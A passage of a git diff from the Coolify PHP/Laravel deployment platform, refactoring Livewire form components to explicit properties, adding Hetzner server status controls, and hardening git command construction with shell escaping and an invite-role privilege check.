'proxy.redirect_enabled', true); $this->redirectUrl = data_get($this->server, 'proxy.redirect_url'); + $this->syncData(false); + } + + private function syncData(bool $toModel = false): void + { + if ($toModel) { + $this->server->settings->generate_exact_labels = $this->generateExactLabels; + } else { + $this->generateExactLabels = $this->server->settings->generate_exact_labels ?? false; + } } public function getConfigurationFilePathProperty() @@ -75,6 +87,7 @@ public function instantSave() try { $this->authorize('update', $this->server); $this->validate(); + $this->syncData(true); $this->server->settings->save(); $this->dispatch('success', 'Settings saved.'); } catch (\Throwable $e) { diff --git a/app/Livewire/Server/Show.php b/app/Livewire/Server/Show.php index db4dc9b88..4626a9135 100644 --- a/app/Livewire/Server/Show.php +++ b/app/Livewire/Server/Show.php @@ -67,13 +67,21 @@ class Show extends Component public string $serverTimezone; + public ?string $hetznerServerStatus = null; + + public bool $hetznerServerManuallyStarted = false; + + public bool $isValidating = false; + public function getListeners() { $teamId = $this->server->team_id ?? auth()->user()->currentTeam()->id; return [ 'refreshServerShow' => 'refresh', + 'refreshServer' => '$refresh', "echo-private:team.{$teamId},SentinelRestarted" => 'handleSentinelRestarted', + "echo-private:team.{$teamId},ServerValidated" => 'handleServerValidated', ]; } @@ -138,6 +146,10 @@ public function mount(string $server_uuid) if (! $this->server->isEmpty()) { $this->isBuildServerLocked = true; } + // Load saved Hetzner status and validation state + $this->hetznerServerStatus = $this->server->hetzner_server_status; + $this->isValidating = $this->server->is_validating ?? false; + } catch (\Throwable $e) { return handleError($e, $this); } @@ -218,6 +230,7 @@ public function syncData(bool $toModel = false) $this->isSentinelDebugEnabled = $this->server->settings->is_sentinel_debug_enabled; $this->sentinelUpdatedAt = $this->server->sentinel_updated_at; $this->serverTimezone = $this->server->settings->server_timezone; + $this->isValidating = $this->server->is_validating ?? false; } } @@ -361,6 +374,87 @@ public function instantSave() } } + public function checkHetznerServerStatus(bool $manual = false) + { + try { + if (! $this->server->hetzner_server_id || ! $this->server->cloudProviderToken) { + $this->dispatch('error', 'This server is not associated with a Hetzner Cloud server or token.'); + + return; + } + + $hetznerService = new \App\Services\HetznerService($this->server->cloudProviderToken->token); + $serverData = $hetznerService->getServer($this->server->hetzner_server_id); + + $this->hetznerServerStatus = $serverData['status'] ?? null; + + // Save status to database without triggering model events + if ($this->server->hetzner_server_status !== $this->hetznerServerStatus) { + $this->server->hetzner_server_status = $this->hetznerServerStatus; + $this->server->update(['hetzner_server_status' => $this->hetznerServerStatus]); + } + if ($manual) { + $this->dispatch('success', 'Server status refreshed: '.ucfirst($this->hetznerServerStatus ?? 'unknown')); + } + + // If Hetzner server is off but Coolify thinks it's still reachable, update Coolify's state + if ($this->hetznerServerStatus === 'off' && $this->server->settings->is_reachable) { + ['uptime' => $uptime, 'error' => $error] = $this->server->validateConnection(); + if ($uptime) { + $this->dispatch('success', 'Server is reachable.'); + $this->server->settings->is_reachable = $this->isReachable = true; + $this->server->settings->is_usable = $this->isUsable = true; + $this->server->settings->save(); + ServerReachabilityChanged::dispatch($this->server); + } else { + $this->dispatch('error', 'Server is not reachable.', 'Please validate your configuration and connection.

Check this documentation for further help.

Error: '.$error); + + return; + } + } + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + + public function handleServerValidated($event = null) + { + // Check if event is for this server + if ($event && isset($event['serverUuid']) && $event['serverUuid'] !== $this->server->uuid) { + return; + } + + // Refresh server data + $this->server->refresh(); + $this->syncData(); + + // Update validation state + $this->isValidating = $this->server->is_validating ?? false; + $this->dispatch('refreshServerShow'); + $this->dispatch('refreshServer'); + } + + public function startHetznerServer() + { + try { + if (! $this->server->hetzner_server_id || ! $this->server->cloudProviderToken) { + $this->dispatch('error', 'This server is not associated with a Hetzner Cloud server or token.'); + + return; + } + + $hetznerService = new \App\Services\HetznerService($this->server->cloudProviderToken->token); + $hetznerService->powerOnServer($this->server->hetzner_server_id); + + $this->hetznerServerStatus = 'starting'; + $this->server->update(['hetzner_server_status' => 'starting']); + $this->hetznerServerManuallyStarted = true; // Set flag to trigger auto-validation when running + $this->dispatch('success', 'Hetzner server is starting...'); + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + public function submit() { try { diff --git a/app/Livewire/Server/ValidateAndInstall.php b/app/Livewire/Server/ValidateAndInstall.php index bf0b7b6a5..bbd7f3dd9 100644 --- a/app/Livewire/Server/ValidateAndInstall.php +++ b/app/Livewire/Server/ValidateAndInstall.php @@ -4,6 +4,7 @@ use App\Actions\Proxy\CheckProxy; use App\Actions\Proxy\StartProxy; +use App\Events\ServerValidated; use App\Models\Server; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -63,6 +64,19 @@ public function startValidatingAfterAsking() $this->init(); } + public function retry() + { + $this->authorize('update', $this->server); + $this->uptime = null; + $this->supported_os_type = null; + $this->docker_installed = null; + $this->docker_compose_installed = null; + $this->docker_version = null; + $this->error = null; + $this->number_of_tries = 0; + $this->init(); + } + public function validateConnection() { $this->authorize('update', $this->server); @@ -136,8 +150,12 @@ public function validateDockerVersion() } else { $this->docker_version = $this->server->validateDockerEngineVersion(); if ($this->docker_version) { + // Mark validation as complete + $this->server->update(['is_validating' => false]); + $this->dispatch('refreshServerShow'); $this->dispatch('refreshBoardingIndex'); + ServerValidated::dispatch($this->server->team_id, $this->server->uuid); $this->dispatch('success', 'Server validated, proxy is starting in a moment.'); $proxyShouldRun = CheckProxy::run($this->server, true); if (! $proxyShouldRun) { diff --git a/app/Livewire/Source/Github/Change.php b/app/Livewire/Source/Github/Change.php index 9ad5444b9..351407dac 100644 --- a/app/Livewire/Source/Github/Change.php +++ b/app/Livewire/Source/Github/Change.php @@ -34,32 +34,60 @@ class Change extends Component public ?GithubApp $github_app = null; + // Explicit properties public string $name; - public bool $is_system_wide; + public ?string $organization = null; + + public string $apiUrl; + + public string $htmlUrl; + + public string $customUser; + + public int $customPort; + + public int $appId; + + public int $installationId; + + public string $clientId; + + public string $clientSecret; + + public string $webhookSecret; + + public bool $isSystemWide; + + public int $privateKeyId; + + public ?string $contents = null; + + public ?string $metadata = null; + + public ?string $pullRequests = null; public $applications; public $privateKeys; protected $rules = [ - 'github_app.name' => 'required|string', - 'github_app.organization' => 'nullable|string', - 'github_app.api_url' => 'required|string', - 'github_app.html_url' => 'required|string', - 'github_app.custom_user' => 'required|string', - 'github_app.custom_port' => 'required|int', - 'github_app.app_id' => 'required|int', - 'github_app.installation_id' => 'required|int', - 'github_app.client_id' => 'required|string', - 'github_app.client_secret' => 'required|string', - 'github_app.webhook_secret' => 'required|string', - 'github_app.is_system_wide' => 'required|bool', - 'github_app.contents' => 'nullable|string', - 'github_app.metadata' => 'nullable|string', - 'github_app.pull_requests' => 'nullable|string', - 'github_app.administration' => 'nullable|string', - 'github_app.private_key_id' => 'required|int', + 'name' => 'required|string', + 'organization' => 'nullable|string', + 'apiUrl' => 'required|string', + 'htmlUrl' => 'required|string', + 'customUser' => 'required|string', + 'customPort' => 'required|int', + 'appId' => 'required|int', + 'installationId' => 'required|int', + 'clientId' => 'required|string', + 'clientSecret' => 'required|string', + 'webhookSecret' => 'required|string', + 'isSystemWide' => 'required|bool', + 'contents' => 'nullable|string', + 'metadata' => 'nullable|string', + 'pullRequests' => 'nullable|string', + 'privateKeyId' => 'required|int', ]; public function boot() @@ -69,6 +97,52 @@ public function boot() } } + /** + * Sync data between component properties and model + * + * @param bool $toModel If true, sync FROM properties TO model. If false, sync FROM model TO properties. + */ + private function syncData(bool $toModel = false): void + { + if ($toModel) { + // Sync TO model (before save) + $this->github_app->name = $this->name; + $this->github_app->organization = $this->organization; + $this->github_app->api_url = $this->apiUrl; + $this->github_app->html_url = $this->htmlUrl; + $this->github_app->custom_user = $this->customUser; + $this->github_app->custom_port = $this->customPort; + $this->github_app->app_id = $this->appId; + $this->github_app->installation_id = $this->installationId; + $this->github_app->client_id = $this->clientId; + $this->github_app->client_secret = $this->clientSecret; + $this->github_app->webhook_secret = $this->webhookSecret; + $this->github_app->is_system_wide = $this->isSystemWide; + $this->github_app->private_key_id = $this->privateKeyId; + $this->github_app->contents = $this->contents; + $this->github_app->metadata = $this->metadata; + $this->github_app->pull_requests = $this->pullRequests; + } else { + // Sync FROM model (on load/refresh) + $this->name = $this->github_app->name; + $this->organization = $this->github_app->organization; + $this->apiUrl = $this->github_app->api_url; + $this->htmlUrl = $this->github_app->html_url; + $this->customUser = $this->github_app->custom_user; + $this->customPort = $this->github_app->custom_port; + $this->appId = $this->github_app->app_id; + $this->installationId = $this->github_app->installation_id; + $this->clientId = $this->github_app->client_id; + $this->clientSecret = $this->github_app->client_secret; + $this->webhookSecret = $this->github_app->webhook_secret; + $this->isSystemWide = $this->github_app->is_system_wide; + $this->privateKeyId = $this->github_app->private_key_id; + $this->contents = $this->github_app->contents; + $this->metadata = $this->github_app->metadata; + $this->pullRequests = $this->github_app->pull_requests; + } + } + public function checkPermissions() { try { @@ -126,6 +200,10 @@ public function mount() $this->applications = $this->github_app->applications; $settings = instanceSettings(); + // Sync data from model to properties + $this->syncData(false); + + // Override name with kebab case for display $this->name = str($this->github_app->name)->kebab(); $this->fqdn = $settings->fqdn; @@ -247,21 +325,9 @@ public function submit() $this->authorize('update', $this->github_app); $this->github_app->makeVisible('client_secret')->makeVisible('webhook_secret'); - $this->validate([ - 'github_app.name' => 'required|string', - 'github_app.organization' => 'nullable|string', - 'github_app.api_url' => 'required|string', - 'github_app.html_url' => 'required|string', - 'github_app.custom_user' => 'required|string', - 'github_app.custom_port' => 'required|int', - 'github_app.app_id' => 'required|int', - 'github_app.installation_id' => 'required|int', - 'github_app.client_id' => 'required|string', - 'github_app.client_secret' => 'required|string', - 'github_app.webhook_secret' => 'required|string', - 'github_app.is_system_wide' => 'required|bool', - 'github_app.private_key_id' => 'required|int', - ]); + $this->validate(); + + $this->syncData(true); $this->github_app->save(); $this->dispatch('success', 'Github App updated.'); } catch (\Throwable $e) { @@ -286,6 +352,8 @@ public function instantSave() $this->authorize('update', $this->github_app); $this->github_app->makeVisible('client_secret')->makeVisible('webhook_secret'); + + $this->syncData(true); $this->github_app->save(); $this->dispatch('success', 'Github App updated.'); } catch (\Throwable $e) { diff --git a/app/Livewire/Storage/Form.php b/app/Livewire/Storage/Form.php index 9438b7727..d97550693 100644 --- a/app/Livewire/Storage/Form.php +++ b/app/Livewire/Storage/Form.php @@ -14,17 +14,34 @@ class Form extends Component public S3Storage $storage; + // Explicit properties + public ?string $name = null; + + public ?string $description = null; + + public string $endpoint; + + public string $bucket; + + public string $region; + + public string $key; + + public string $secret; + + public ?bool $isUsable = null; + protected function rules(): array { return [ - 'storage.is_usable' => 'nullable|boolean', - 'storage.name' => ValidationPatterns::nameRules(required: false), - 'storage.description' => ValidationPatterns::descriptionRules(), - 'storage.region' => 'required|max:255', - 'storage.key' => 'required|max:255', - 'storage.secret' => 'required|max:255', - 'storage.bucket' => 'required|max:255', - 'storage.endpoint' => 'required|url|max:255', + 'isUsable' => 'nullable|boolean', + 'name' => ValidationPatterns::nameRules(required: false), + 'description' => ValidationPatterns::descriptionRules(), + 'region' => 'required|max:255', + 'key' => 'required|max:255', + 'secret' => 'required|max:255', + 'bucket' => 'required|max:255', + 'endpoint' => 'required|url|max:255', ]; } @@ -33,34 +50,69 @@ protected function messages(): array return array_merge( ValidationPatterns::combinedMessages(), [ - 'storage.name.regex' => 'The Name may only contain letters, numbers, spaces, dashes (-), underscores (_), dots (.), slashes (/), colons (:), and parentheses ().', - 'storage.description.regex' => 'The Description contains invalid characters. Only letters, numbers, spaces, and common punctuation (- _ . : / () \' " , ! ? @ # % & + = [] {} | ~ ` *) are allowed.', - 'storage.region.required' => 'The Region field is required.', - 'storage.region.max' => 'The Region may not be greater than 255 characters.', - 'storage.key.required' => 'The Access Key field is required.', - 'storage.key.max' => 'The Access Key may not be greater than 255 characters.', - 'storage.secret.required' => 'The Secret Key field is required.', - 'storage.secret.max' => 'The Secret Key may not be greater than 255 characters.', - 'storage.bucket.required' => 'The Bucket field is required.', - 'storage.bucket.max' => 'The Bucket may not be greater than 255 characters.', - 'storage.endpoint.required' => 'The Endpoint field is required.', - 'storage.endpoint.url' => 'The Endpoint must be a valid URL.', - 'storage.endpoint.max' => 'The Endpoint may not be greater than 255 characters.', + 'name.regex' => 'The Name may only contain letters, numbers, spaces, dashes (-), underscores (_), dots (.), slashes (/), colons (:), and parentheses ().', + 'description.regex' => 'The Description contains invalid characters. Only letters, numbers, spaces, and common punctuation (- _ . : / () \' " , ! ? @ # % & + = [] {} | ~ ` *) are allowed.', + 'region.required' => 'The Region field is required.', + 'region.max' => 'The Region may not be greater than 255 characters.', + 'key.required' => 'The Access Key field is required.', + 'key.max' => 'The Access Key may not be greater than 255 characters.', + 'secret.required' => 'The Secret Key field is required.', + 'secret.max' => 'The Secret Key may not be greater than 255 characters.', + 'bucket.required' => 'The Bucket field is required.', + 'bucket.max' => 'The Bucket may not be greater than 255 characters.', + 'endpoint.required' => 'The Endpoint field is required.', + 'endpoint.url' => 'The Endpoint must be a valid URL.', + 'endpoint.max' => 'The Endpoint may not be greater than 255 characters.', ] ); } protected $validationAttributes = [ - 'storage.is_usable' => 'Is Usable', - 'storage.name' => 'Name', - 'storage.description' => 'Description', - 'storage.region' => 'Region', - 'storage.key' => 'Key', - 'storage.secret' => 'Secret', - 'storage.bucket' => 'Bucket', - 'storage.endpoint' => 'Endpoint', + 'isUsable' => 'Is Usable', + 'name' => 'Name', + 'description' => 'Description', + 'region' => 'Region', + 'key' => 'Key', + 'secret' => 'Secret', + 'bucket' => 'Bucket', + 'endpoint' => 'Endpoint', ]; + /** + * Sync data between component properties and model + * + * @param bool $toModel If true, sync FROM properties TO model. If false, sync FROM model TO properties. + */ + private function syncData(bool $toModel = false): void + { + if ($toModel) { + // Sync TO model (before save) + $this->storage->name = $this->name; + $this->storage->description = $this->description; + $this->storage->endpoint = $this->endpoint; + $this->storage->bucket = $this->bucket; + $this->storage->region = $this->region; + $this->storage->key = $this->key; + $this->storage->secret = $this->secret; + $this->storage->is_usable = $this->isUsable; + } else { + // Sync FROM model (on load/refresh) + $this->name = $this->storage->name; + $this->description = $this->storage->description; + $this->endpoint = $this->storage->endpoint; + $this->bucket = $this->storage->bucket; + $this->region = $this->storage->region; + $this->key = $this->storage->key; + $this->secret = $this->storage->secret; + $this->isUsable = $this->storage->is_usable; + } + } + + public function mount() + { + $this->syncData(false); + } + public function testConnection() { try { @@ -94,6 +146,9 @@ public function submit() DB::transaction(function () { $this->validate(); + + // Sync properties to model before saving + $this->syncData(true); $this->storage->save(); // Test connection with new values - if this fails, transaction will rollback @@ -103,12 +158,16 @@ public function submit() $this->storage->is_usable = true; $this->storage->unusable_email_sent = false; $this->storage->save(); + + // Update local property to reflect success + $this->isUsable = true; }); $this->dispatch('success', 'Storage settings updated and connection verified.'); } catch (\Throwable $e) { // Refresh the model to revert UI to database values after rollback $this->storage->refresh(); + $this->syncData(false); return handleError($e, $this); } diff --git a/app/Livewire/Team/Index.php b/app/Livewire/Team/Index.php index 8b9b70e14..e4daad311 100644 --- a/app/Livewire/Team/Index.php +++ b/app/Livewire/Team/Index.php @@ -18,11 +18,16 @@ class Index extends Component public Team $team; + // Explicit properties + public string $name; + + public ?string $description = null; + protected function rules(): array { return [ - 'team.name' => ValidationPatterns::nameRules(), - 'team.description' => ValidationPatterns::descriptionRules(), + 'name' => ValidationPatterns::nameRules(), + 'description' => ValidationPatterns::descriptionRules(), ]; } @@ -31,21 +36,40 @@ protected function messages(): array return array_merge( ValidationPatterns::combinedMessages(), [ - 'team.name.required' => 'The Name field is required.', - 'team.name.regex' => 'The Name may only contain letters, numbers, spaces, dashes (-), underscores (_), dots (.), slashes (/), colons (:), and parentheses ().', - 'team.description.regex' => 'The Description contains invalid characters. Only letters, numbers, spaces, and common punctuation (- _ . : / () \' " , ! ? @ # % & + = [] {} | ~ ` *) are allowed.', + 'name.required' => 'The Name field is required.', + 'name.regex' => 'The Name may only contain letters, numbers, spaces, dashes (-), underscores (_), dots (.), slashes (/), colons (:), and parentheses ().', + 'description.regex' => 'The Description contains invalid characters. Only letters, numbers, spaces, and common punctuation (- _ . : / () \' " , ! ? @ # % & + = [] {} | ~ ` *) are allowed.', ] ); } protected $validationAttributes = [ - 'team.name' => 'name', - 'team.description' => 'description', + 'name' => 'name', + 'description' => 'description', ]; + /** + * Sync data between component properties and model + * + * @param bool $toModel If true, sync FROM properties TO model. If false, sync FROM model TO properties. + */ + private function syncData(bool $toModel = false): void + { + if ($toModel) { + // Sync TO model (before save) + $this->team->name = $this->name; + $this->team->description = $this->description; + } else { + // Sync FROM model (on load/refresh) + $this->name = $this->team->name; + $this->description = $this->team->description; + } + } + public function mount() { $this->team = currentTeam(); + $this->syncData(false); if (auth()->user()->isAdminFromSession()) { $this->invitations = TeamInvitation::whereTeamId(currentTeam()->id)->get(); @@ -62,6 +86,7 @@ public function submit() $this->validate(); try { $this->authorize('update', $this->team); + $this->syncData(true); $this->team->save(); refreshSession(); $this->dispatch('success', 'Team updated.'); diff --git a/app/Livewire/Team/InviteLink.php b/app/Livewire/Team/InviteLink.php index 45f7e467f..45af53950 100644 --- a/app/Livewire/Team/InviteLink.php +++ b/app/Livewire/Team/InviteLink.php @@ -45,9 +45,16 @@ private function generateInviteLink(bool $sendEmail = false) try { $this->authorize('manageInvitations', currentTeam()); $this->validate(); - if (auth()->user()->role() === 'admin' && $this->role === 'owner') { + + // Prevent privilege escalation: users cannot invite someone with higher privileges + $userRole = auth()->user()->role(); + if ($userRole === 'member' && in_array($this->role, ['admin', 'owner'])) { + throw new \Exception('Members cannot invite admins or owners.'); + } + if ($userRole === 'admin' && $this->role === 'owner') { throw new \Exception('Admins cannot invite owners.'); } + $this->email = strtolower($this->email); $member_emails = currentTeam()->members()->get()->pluck('email'); diff --git a/app/Livewire/Terminal/Index.php b/app/Livewire/Terminal/Index.php index 03dbc1d91..6bb4c5e90 100644 --- a/app/Livewire/Terminal/Index.php +++ b/app/Livewire/Terminal/Index.php @@ -61,6 +61,10 @@ private function getAllActiveContainers() public function updatedSelectedUuid() { + if ($this->selected_uuid === 'default') { + // When cleared to default, do nothing (no error message) + return; + } $this->connectToContainer(); } diff --git a/app/Models/Application.php b/app/Models/Application.php index 595ba1cde..9554d71a7 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -1003,29 +1003,30 @@ public function dirOnServer() public function setGitImportSettings(string $deployment_uuid, string $git_clone_command, bool $public = false) { $baseDir = $this->generateBaseDir($deployment_uuid); + $escapedBaseDir = escapeshellarg($baseDir); $isShallowCloneEnabled = $this->settings?->is_git_shallow_clone_enabled ?? false; if ($this->git_commit_sha !== 'HEAD') { // If shallow clone is enabled and we need a specific commit, // we need to fetch that specific commit with depth=1 if ($isShallowCloneEnabled) { - $git_clone_command = "{$git_clone_command} && cd {$baseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git fetch --depth=1 origin {$this->git_commit_sha} && git -c advice.detachedHead=false checkout {$this->git_commit_sha} >/dev/null 2>&1"; + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git fetch --depth=1 origin {$this->git_commit_sha} && git -c advice.detachedHead=false checkout {$this->git_commit_sha} >/dev/null 2>&1"; } else { - $git_clone_command = "{$git_clone_command} && cd {$baseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git -c advice.detachedHead=false checkout {$this->git_commit_sha} >/dev/null 2>&1"; + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git -c advice.detachedHead=false checkout {$this->git_commit_sha} >/dev/null 2>&1"; } } if ($this->settings->is_git_submodules_enabled) { // Check if .gitmodules file exists before running submodule commands - $git_clone_command = "{$git_clone_command} && cd {$baseDir} && if [ -f .gitmodules ]; then"; + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && if [ -f .gitmodules ]; then"; if ($public) { - $git_clone_command = "{$git_clone_command} sed -i \"s#git@\(.*\):#https://\\1/#g\" {$baseDir}/.gitmodules || true &&"; + $git_clone_command = "{$git_clone_command} sed -i \"s#git@\(.*\):#https://\\1/#g\" {$escapedBaseDir}/.gitmodules || true &&"; } // Add shallow submodules flag if shallow clone is enabled $submoduleFlags = $isShallowCloneEnabled ? '--depth=1' : ''; $git_clone_command = "{$git_clone_command} git submodule sync && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git submodule update --init --recursive {$submoduleFlags}; fi"; } if ($this->settings->is_git_lfs_enabled) { - $git_clone_command = "{$git_clone_command} && cd {$baseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git lfs pull"; + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git lfs pull"; } return $git_clone_command; @@ -1063,18 +1064,24 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_ $source_html_url_scheme = $url['scheme']; if ($this->source->getMorphClass() == 'App\Models\GithubApp') { + $escapedCustomRepository = escapeshellarg($customRepository); if ($this->source->is_public) { + $escapedRepoUrl = escapeshellarg("{$this->source->html_url}/{$customRepository}"); $fullRepoUrl = "{$this->source->html_url}/{$customRepository}"; - $base_command = "{$base_command} {$this->source->html_url}/{$customRepository}"; + $base_command = "{$base_command} {$escapedRepoUrl}"; } else { $github_access_token = generateGithubInstallationToken($this->source); if ($exec_in_docker) { - $base_command = "{$base_command} $source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}.git"; - $fullRepoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}.git"; + $repoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}.git"; + $escapedRepoUrl = escapeshellarg($repoUrl); + $base_command = "{$base_command} {$escapedRepoUrl}"; + $fullRepoUrl = $repoUrl; } else { - $base_command = "{$base_command} $source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}"; - $fullRepoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}"; + $repoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}"; + $escapedRepoUrl = escapeshellarg($repoUrl); + $base_command = "{$base_command} {$escapedRepoUrl}"; + $fullRepoUrl = $repoUrl; } } @@ -1099,7 +1106,10 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_ throw new RuntimeException('Private key not found. Please add a private key to the application and try again.'); } $private_key = base64_encode($private_key); - $base_comamnd = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" {$base_command} {$customRepository}"; + // When used with executeInDocker (which uses bash -c '...'), we need to escape for bash context + // Replace ' with '\'' to safely escape within single-quoted bash strings + $escapedCustomRepository = str_replace("'", "'\\''", $customRepository); + $base_command = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" {$base_command} '{$escapedCustomRepository}'"; if ($exec_in_docker) { $commands = collect([ @@ -1116,9 +1126,9 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_ } if ($exec_in_docker) { - $commands->push(executeInDocker($deployment_uuid, $base_comamnd)); + $commands->push(executeInDocker($deployment_uuid, $base_command)); } else { - $commands->push($base_comamnd); + $commands->push($base_command); } return [ @@ -1130,7 +1140,8 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_ if ($this->deploymentType() === 'other') { $fullRepoUrl = $customRepository; - $base_command = "{$base_command} {$customRepository}"; + $escapedCustomRepository = escapeshellarg($customRepository); + $base_command = "{$base_command} {$escapedCustomRepository}"; if ($exec_in_docker) { $commands->push(executeInDocker($deployment_uuid, $base_command)); @@ -1272,7 +1283,7 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req } else { $commands->push("echo 'Checking out $branch'"); } - $git_clone_command = "{$git_clone_command} && cd {$baseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name); } elseif ($git_type === 'github' || $git_type === 'gitea') { $branch = "pull/{$pull_request_id}/head:$pr_branch_name"; if ($exec_in_docker) { @@ -1280,14 +1291,14 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req } else { $commands->push("echo 'Checking out $branch'"); } - $git_clone_command = "{$git_clone_command} && cd {$baseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name); } elseif ($git_type === 'bitbucket') { if ($exec_in_docker) { $commands->push(executeInDocker($deployment_uuid, "echo 'Checking out $branch'")); } else { $commands->push("echo 'Checking out $branch'"); } - $git_clone_command = "{$git_clone_command} && cd {$baseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" ".$this->buildGitCheckoutCommand($commit); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" ".$this->buildGitCheckoutCommand($commit); } } @@ -1305,7 +1316,8 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req } if ($this->deploymentType() === 'other') { $fullRepoUrl = $customRepository; - $git_clone_command = "{$git_clone_command} {$customRepository} {$baseDir}"; + $escapedCustomRepository = escapeshellarg($customRepository); + $git_clone_command = "{$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true); if ($pull_request_id !== 0) { @@ -1316,7 +1328,7 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req } else { $commands->push("echo 'Checking out $branch'"); } - $git_clone_command = "{$git_clone_command} && cd {$baseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name); } elseif ($git_type === 'github' || $git_type === 'gitea') { $branch = "pull/{$pull_request_id}/head:$pr_branch_name"; if ($exec_in_docker) { @@ -1324,14 +1336,14 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req } else { $commands->push("echo 'Checking out $branch'"); } - $git_clone_command = "{$git_clone_command} && cd {$baseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name); } elseif ($git_type === 'bitbucket') { if ($exec_in_docker) { $commands->push(executeInDocker($deployment_uuid, "echo 'Checking out $branch'")); } else { $commands->push("echo 'Checking out $branch'"); } - $git_clone_command = "{$git_clone_command} && cd {$baseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o 